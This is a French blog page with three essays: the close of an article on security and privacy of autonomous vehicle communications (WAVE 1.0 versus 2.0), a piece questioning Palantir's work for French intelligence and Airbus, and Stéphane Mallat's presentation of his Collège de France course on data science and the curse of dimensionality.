    D’autres solutions proposées plus récemment (toute une gamme que nous appellerons ici WAVE 2.0) permettent de garantir à la fois l’innocuité maximale et la cybersécurité « by-design ». Les protocoles WAVE 2.0 reposent sur des communications directes V2V (vehicule-to-vehicle) qui garantissent des délais d’échange de messages et de coordination inter-véhiculaire extrêmement courts, ce qui permet de prouver l’innocuité. Les technologies de communications radio et optiques utilisées sont de courte portée et bien plus performantes que les technologies WAVE. Les messages V2V n’étant échangés qu’entre voisins « immédiats », les attaquants potentiels d’un VAC sont aisément et immédiatement détectables, ce qui permet de prouver que les cyberattaques rapprochées ne peuvent mettre en péril l’innocuité (une propriété fondamentale). Les identifiants des VAC émetteurs de messages V2V étant totalement anonymisés, le cyberespionnage rapproché n’est d’aucun intérêt.

    L’architecture des systèmes bord des VAC garantit que les télécommunications V2X ne peuvent avoir d’impact sur la robotique du véhicule. Ainsi, la prise de contrôle à distance devient infaisable. Plus généralement, on peut montrer que les cyberattaques ourdies par des entités inconnues distantes ne peuvent mettre en péril l’innocuité. Quant aux risques de cyberespionnage distant, ils n’existent qu’à la condition d’autoriser les télécommunications V2X sortantes (accès à Internet, etc.). Il est donc indispensable d’offrir à un passager de VAC la possibilité d’exprimer via une option « furtivité » son refus ou son consentement pour activation des télécommunications sortantes V2X individuelles. Avec WAVE 2.0, en cas de comportement malveillant, la robotique embarquée prend le contrôle du VAC et l’immobilise en lieu sûr, pendant que sont diffusés, à destination des autorités, des messages V2X chiffrés permettant d’identifier et de géolocaliser le véhicule immobilisé, ainsi que de fournir le contenu pertinent d’une boite noire. Malgré l’anonymat, les enregistrements consignés dans les boites noires assureront l’indispensable imputabilité (****).

    Les capteurs intérieurs à un VAC (caméras, par exemple) dont les avantages sont abondamment médiatisés (s’assurer de la vigilance humaine, par exemple) sont des sources supplémentaires de cyberespionnage. Les atteintes à la vie privée sont bien certaines. Que deviennent ces données, notamment en cas de piratage des serveurs qui les hébergent ? Les passagers des VAC ont pourtant droit au respect de leur vie privée. Tout comme l’option « furtivité », une option « désactivation des capteurs intérieurs » doit être offerte.

    Les voitures autonomes Navlab. Navlab 5 (le véhicule le plus proche ) achevé et 1995, a été la première voiture à traverser en autonome les États-Unis d’une côte à l’autre.

    Faux dilemme—Vrai choix de société

    Nous n’avons pas à choisir entre innocuité et cybersécurité, les deux propriétés existent avec WAVE 2.0. Nous sommes donc dès à présent confrontés à un choix de société :

    • soit les solutions WAVE 1.0 sont déployées, et alors nous seront potentiellement cybersurveillés et sujets aux cyberattaques lors de nos déplacements motorisés,
    • soit, grâce aux actions combinées des mondes académique, juridique, de sociologues, de spécialistes de l’éthique, du monde industriel et des autorités gouvernementales européennes, nous leur préférons au contraire les solutions WAVE 2.0 et leurs options « furtivité » et « désactivation des capteurs intérieurs », qui vont dans le sens du Règlement Général sur la Protection des Données. WAVE 2.0 deviendrait ainsi le socle d’une nouvelle génération de standards pour les technologies des véhicules autonomes du futur.

    Dans quel type de société voulons-nous vivre ? Voilà la question qui est posée.

    Gérard Le Lann, Inria

    NB : le lecteur intéressé pourra consulter la publication C&ESAR 2017

    (*) Non-dangerosité (quasi élimination des accidents graves).

    (**) L’attaque de l’homme du milieu (man-in-the-middle attack) a pour but d’intercepter les communications entre deux parties, sans que, ni l’une, ni l’autre ne puisse se douter que le canal de communication entre elles a été compromis. L’attaquant doit d’abord être capable d’observer et d’intercepter les messages envoyés par une victime, disons Alice, à l’autre, Bob. L’attaquant parle à Alice en prétendant être Bob, et à Bob en prétendant être Alice.

    (***) WAVE 1.0 (WAVE + balisage périodique) et WAVE 2.0 sont des notations d’ordre pratique proposées par l’auteur.

    (****) Attribution des responsabilités et non-dénégation des causes ayant entrainé un accident grave.

  • Les liaisons dangereuses du renseignement français

    L’analyse de données massives, le big data, a de nombreuses applications : on peut vouloir faire parler les données dans de nombreux domaines. Nous nous intéressons ici à un en particulier, le renseignement.   Des matériels informatiques de plus en plus puissants, des algorithmes de gestion et d’analyse de données de plus en plus sophistiqués, la disponibilité de données numériques de plus en plus massives changent notre monde. Ils permettent des avancées extraordinaires de la recherche scientifique dans de nombreux domaines, comme la médecine, l’astronomie ou la sociologie. Ils mettent à notre service des outils fantastiques comme, aujourd’hui, des moteurs de recherche du Web tel Qwant (1) et, peut-être demain, les systèmes d’informations personnelles tel celui en cours de développement par l’entreprise française Cozy Cloud. Ils sont beaucoup utilisés par les entreprises, par exemple pour le marketing… et aussi par les gouvernements. Il suffit de collecter des masses de données numériques – on y trouvera toute l’intelligence (au sens anglais (2)) du monde – pour lutter contre la criminalité, détruire ses opposants politiques, découvrir les secrets industriels de ses concurrents.

    © Progressistes

    Une société s’est imposée sur ce marché juteux, Palantir Technologies. Le cœur de leur technologie est un système, Palantir Gotham, qui permet d’intégrer massivement des données structurées (provenant de bases de données) et non structurées (par exemple des textes du Web ou des images), de faire des recherches sur ces données, de les analyser, d’en extraire des connaissances.

    Comment ça marche ?

    La difficulté est de comprendre le sens des données. Celles d’une entreprise sont relativement propres et bien structurées. Quand nous utilisons les données de plusieurs entreprises, quand nous les « intégrons », c’est déjà moins simple. Les données sont organisées différemment, les terminologies peuvent être différentes. Par exemple, les deux systèmes peuvent utiliser des identifiants différents pour une même personne, des adresses ou des courriels différents, etc. Les informations du Web et des réseaux sociaux peuvent être encore plus difficiles à extraire : les personnes utilisent parfois juste des prénoms ou des surnoms; les imprécisions, les erreurs, les incohérences sont fréquentes; surtout, les données sont très incomplètes. En outre, une grande masse des informations disponibles consiste en des textes et des images où il faut aller chercher des connaissances.

    Les « progrès » de la technique ont été considérables ces dernières années. Par exemple, le système XKeyscore, un des bijoux (en termes de coût aussi) de la NSA, peut réunir, pour une personne, quasi instantanément la liste de ses appels téléphoniques, de ses paiements avec une carte de crédits, de ses courriels, ses recherches Web, les images de vidéosurveillance d’un magasin où elle a réalisé des achats… Palantir propose à ses utilisateurs XKeyscore Helper pour importer des données de XKeyscore, les interroger, les visualiser, les analyser et les réexporter.

    Palentir et la DGSI

    Est-ce la fin de la vie privée ? Ne s’agirait-il là que d’exagérations ? De la parano ? J’ai peur que non. Nous n’en sommes pas encore là en France, même si des lois comme la celle de 2015 relative au renseignement nous engagent dans cette direction. Heureusement, nos services de renseignements ont moins de moyens, et d’autres textes, la loi informatique et libertés ou le règlement européen sur la protection des données personnelles à partir de 2018, nous protègent.

    Revenons à Palantir. Parmi ses premiers investisseurs, on trouve la CIA, et parmi ses clients étatsuniens, la CIA, la NSA, le FBI, les Marines, l’US Air Force, les Forces d’opérations spéciales. La technologie de Palantir est utilisée notamment pour relier les données de plusieurs agences de renseignement et leurs permettre ainsi de coopérer. Depuis 2016, Palantir travaille aussi en France pour la Direction générale de la sécurité intérieure. Nous nous inquiétons peut-être pour rien, mais que font-ils pour la DGSI ? À quelles données sur des Français ont-ils accès ? Dans le cadre de la transparence de l’État, il nous semble que nous avons le droit de savoir.

    Naïvement, nous aurions aussi pu penser que, sur des données de sécurité intérieure, une entreprise européenne aurait été plus appropriée, ne serait-ce que parce qu’elle serait plus directement soumise aux lois européennes.

    Pour tenter de nous rassurer, nous pouvons consulter le site Web de Palantir, où sous l’intitulé What We Believe (Ce que nous croyons), on peut lire :

    « Palantir is a mission-focused company. Our team is dedicated to working for the common good and doing what’s right, in addition to being deeply passionate about building great software and a successful company. » (Palantir est une entreprise concentrée sur sa mission. Notre équipe est dévouée à travailler pour le bien commun et à faire ce qui est bien, en plus d’être profondément passionnée par la création de logiciels géniaux et d’une entreprise prospère.)  

    Certes, mais après nombre de révélations, notamment celles d’Edward Snowden sur des programmes de surveillance à l’échelle mondiale, impliquant la NSA ou l’alliance de renseignement Five Eyes (Australie, Canada, Nouvelle-Zélande, Royaume-Uni, États-Unis), nous pouvons difficilement nous contenter de bonnes intentions.

    Airbus parmi les clients

    Parmi les clients de Palantir, on trouve aussi Airbus. Il s’agit dans ce cas, en principe, d’intégrer des informations dispersées sur plusieurs systèmes d’Airbus, et de les analyser pour comprendre les problèmes de qualité des A350. C’est pour la collecte, l’intégration et l’analyse de données qu’Airbus utilise la technologie et l’expertise de Palantir. Nous pouvons bien sûr nous réjouir de l’amélioration de la sécurité de l’A350. Mais, n’y a-t-il pas à craindre que des informations stratégiques se retrouvent par hasard, via les réseaux de la CIA proches de Palantir, dans les mains de concurrents d’Airbus ? Ne dites pas que c’est improbable ! Naïvement, nous aurions aussi pu penser que, sur de telles données, une entreprise européenne aurait été plus appropriée, ne serait-ce que pour éviter trop de connexions occultes avec des entreprises étatsuniennes ou asiatiques.

    Si nous préférons penser que les services de renseignement français et ceux de la sécurité d’Airbus sont compétents, responsables, et qu’ils savent ce qu’ils font, nous pouvons légitimement nous inquiéter de les voir utiliser les services d’une société étatsunienne proche des services secrets et dont un des fondateurs est Peter Thiel, un libertarien, aujourd’hui conseiller numérique de Donald Trump, qu’il a soutenu tout au long de la campagne électorale qui mena Trump à la Maison-Blanche.

    L’analyse de données massives est un outil moderne pour lutter contre le terrorisme. En croisant les bases de données des différentes agences gouvernementales, on peut détecter des comportements suspects, des activités qui intéressent la lutte antiterroriste. J’ai été marqué par ce que m’a dit un jour (c’était avant le 13 novembre 2015) un officier de renseignement : « S’il y a un attentat terroriste majeur en France, on nous reprochera de ne pas avoir fait tout ce qui était en notre pouvoir pour l’empêcher. » Pourtant, cette surveillance massive de la population, d’individus a priori suspects… ou pas dans des pays démocratiques peut raisonnablement inquiéter, être prise pour une atteinte aux libertés. C’est bien là le dilemme. Après chaque attentat, les politiques, bouleversés par les images, l’horreur, sont prêts à tout pour éviter que cela se reproduise, même à restreindre les libertés. On peut les comprendre. Mais, entre l’épouvante du terrorisme et la répulsion du totalitarisme, il faut choisir où placer le curseur. Peut-être faudrait-il garder en tête que le renseignement intérieur se fait, dans un état de droit, sous le contrôle de la justice et ne surtout pas oublier qu’un affaiblissement de la démocratie est une victoire du terrorisme.

    Serge Abiteboul, Arcep, Inria et École normale supérieure, Paris.

    (1) Qwant est un moteur de recherche européen qui préserve la vie privée et ne transmet ni ne retient donc d’informations vous concernant.

    (2) En effet, nul ne penserait à traduire Intelligence Service par « service intelligent », ça se saurait !

    Pour en savoir plus

    • Sam Biddle, How Peter Thiel’s Palantir Helped the NSA Spy on the Whole World, The Intercept, 2017.
    • Ashlee Vance et Brad Stone, Palantir, the War on Terror’s Secret Weapon, Bloomberg Businessweek, 2011.
    • Vous pouvez aussi consulter ce blog.

    Cet article est paru originellement dans la revue Progressistes, Numéro 18, oct-nov-déc 2017. Le numéro, dans sa totalité, est disponible électroniquement ou en format papier.

  • La malédiction de la grande dimension

    Stéphane Mallat est le titulaire de la chaire « Sciences des données » du Collège de France où il présente le cours « L’apprentissage face à la malédiction de la grande dimension » (leçon inaugurale le 11 janvier 2018). Il a été professeur d’informatique à l’École normale supérieure de la rue d’Ulm de 2012 à 2017. En 2001, il a cofondé une start-up, Let It Wave, qu’il a dirigé jusqu’en 2007.  Les algorithmes d’apprentissage peuvent nous émerveiller par leurs résultats, nous effrayer aussi parce qu’ils sont mal compris. Le cours de Stéphane Mallat devrait permettre de mieux les appréhender. Serge Abiteboul.
    Cet article est publié en collaboration avec The Conversation.
    Voir la page binaire sur l’informatique au Collège de France

    Nous assistons à un déluge de données numériques, sous la forme d’images, de sons, de textes, de mesures physiques ainsi que toutes les informations disponibles sur Internet. L’analyse automatique de ces données est devenue un enjeu industriel, sociétal et scientifique majeur. La performance des algorithmes d’analyse de données a fait un bond ces dernières années, grâce à l’augmentation des capacités de calcul et des masses de données, mais aussi grâce à l’évolution rapide des algorithmes d’apprentissage. Ce bond est à l’origine de la renaissance de l’Intelligence Artificielle. En particulier, les réseaux de neurones ont récemment obtenu des résultats spectaculaires pour la classification d’images complexes, la reconnaissance vocale et de musique, pour la traduction automatique de textes ou la prédiction de phénomènes physiques et même pour battre le champion du monde de Go. Ils sont utilisés dans des applications industrielles et médicales, y compris pour les voitures autonomes. La chaire de sciences des données présentera les algorithmes et les principes mathématiques permettant de comprendre la nature des connaissances acquises par ces algorithmes d’apprentissage.

    Un algorithme d’apprentissage prend en entrée des données, par exemple une image, et estime la réponse à une question, par exemple trouver le nom de l’animal dans l’image. Ces algorithmes d’apprentissage ne sont pas entièrement déterminés à l’avance. Ils incluent de nombreux paramètres qui sont optimisés avec des exemples, lors de la phase d’apprentissage. Pour la reconnaissance d’animaux, on donne à l’algorithme des exemples d’images et le nom des animaux dans chaque image. L’apprentissage assure que l’algorithme ne fasse pas d’erreur sur les exemples d’entrainement. Cependant cela ne présente aucun intérêt en soit. Il faut garantir que ce résultat se généralise et donc que l’algorithme soit capable de prédire le bon résultat sur des données qu’il n’a jamais vues au préalale. Cette généralisation est liée à l’existence de régularités, que l’algorithme utilise pour relier le résultat sur une donnée inconnue avec les exemples connus.

    La complexité de ce problème vient du très grand nombre de variables dans chaque donnée. Ainsi une image a typiquement plus d’un million de pixels, et donc plus d’un million de variables dont il faut tenir compte pour répondre à une question. L’interaction de ces variables produit un nombre gigantesque de possibilités. C’est la malédiction de la dimensionnalité. Pour faire face à cette malédiction, il est nécessaire d’avoir des informations à priori qui sont utilisées par les algorithmes.  Comprendre la nature de cette régularité en grande dimension est un enjeu fondamental qui fait appel à de nombreuses branches des mathématiques, dont les statistiques, les probabilités, l’analyse et la géométrie.

    Sciences des Données et Mathématiques Appliquées

    La chaire s’intitule « sciences des données » par opposition au singulier « la science des données » car ce domaine est une auberge espagnole, où cohabitent des approches et des cultures scientifiques totalement différentes, qui s’enrichissent mutuellement. Cela comprend les mathématiques et notamment les statistiques, mais aussi l’informatique et l’intelligence artificielle, le traitement du signal et la théorie de l’information, et toutes les sciences comme la physique, la biologie, l’économie ou les sciences sociales, qui traitent et modélisent des données. Apporter une vision et un langage commun au-delà des spécificités de chaque domaine est la vocation des mathématiques. C’est ce point de vue qui sera développé, tout en restant enraciné dans les applications qui sont sources de problèmes nouveaux, de créativité et d’idées. Cet aller-retour entre mathématiques et applications, qui efface progressivement les frontières entre expérimentations et théorie, est au cœur de la démarche des mathématiques appliquées. La beauté des concepts qui se dégagent ne s’enracine pas seulement dans leur pureté, comme celle d’un diamant qui se suffirait à lui-même, mais dans la beauté des correspondances entre domaines aussi différents que la reconnaissance d’images, la neurophysiologie, la chimie quantique, la cosmologie ou l’économie. Révéler ces correspondances est aussi l’ambition des mathématiques appliquées.

    En sciences des données il s’agit de comprendre le lien entre les applications, l’algorithmique, les expérimentations numériques et la compréhension mathématique du traitement de masses de données. Les mathématiques sont importantes pour garantir la robustesse des résultats, notamment pour des usages critiques comme la conduite de voitures autonomes. Le cours offrira la possibilité de participer à des challenges de données, organisés par mon équipe de recherche à l’École Normale Supérieure. Ces challenges proviennent de start-ups, d’hôpitaux ou des laboratoires scientifiques, et permettent à chacun de développer ses propres idées, et ainsi comparer la performance de différents types d’algorithmes sur de vrais problèmes. Ces challenges sont disponibles sur cette page web.

    Cette chaire a aussi pour objectif de mieux faire comprendre les avancées des algorithmes et des mathématiques de l’apprentissage et de l’intelligence artificielle, à un plus large public. Diffuser la connaissance dans ce domaine est important car ces technologies auront probablement un impact croissant sur l’industrie, la médecine mais aussi sur certains aspects de notre organisation économique et sociale. Il faut y réfléchir bien au-delà des cercles scientifiques.

    Face à la Malédiction de la Dimensionnalité

    Le cours de cette année introduira les outils algorithmiques et mathématiques liés à la généralisation pour des données incluant un grand nombre de variables. Il approfondira la notion de régularité qui est centrale dans ce domaine, et son utilisation par des différents types d’algorithmes, y compris des réseaux de neurones. Le cours commencera par la notion de régularité pour des données en basse dimension, à travers la transformée de Fourier et la transformée en ondelettes, avec des applications pour le débruitage et la compression de signaux. Il considérera ensuite l’apprentissage supervisé, les algorithmes à noyaux, et la performance des réseaux de neurones à une couche cachée.

    Chaque séance de cours sera suivie par un séminaire présentant l’état de l’art dans différents domaines d’applications. Des challenges de données seront proposés aux participants et présentés lors des premières séances. Au menu de cette année, plus de 10 challenges, pour l’économie d’énergie, le diagnostic de cancer à partir de données génomiques, la prédiction en finance, l’analyse de questionnaires, la reconnaissance d’images de célébrités ou la prédiction de scores de football.

    Stéphane Mallat, Professeur au Collège de France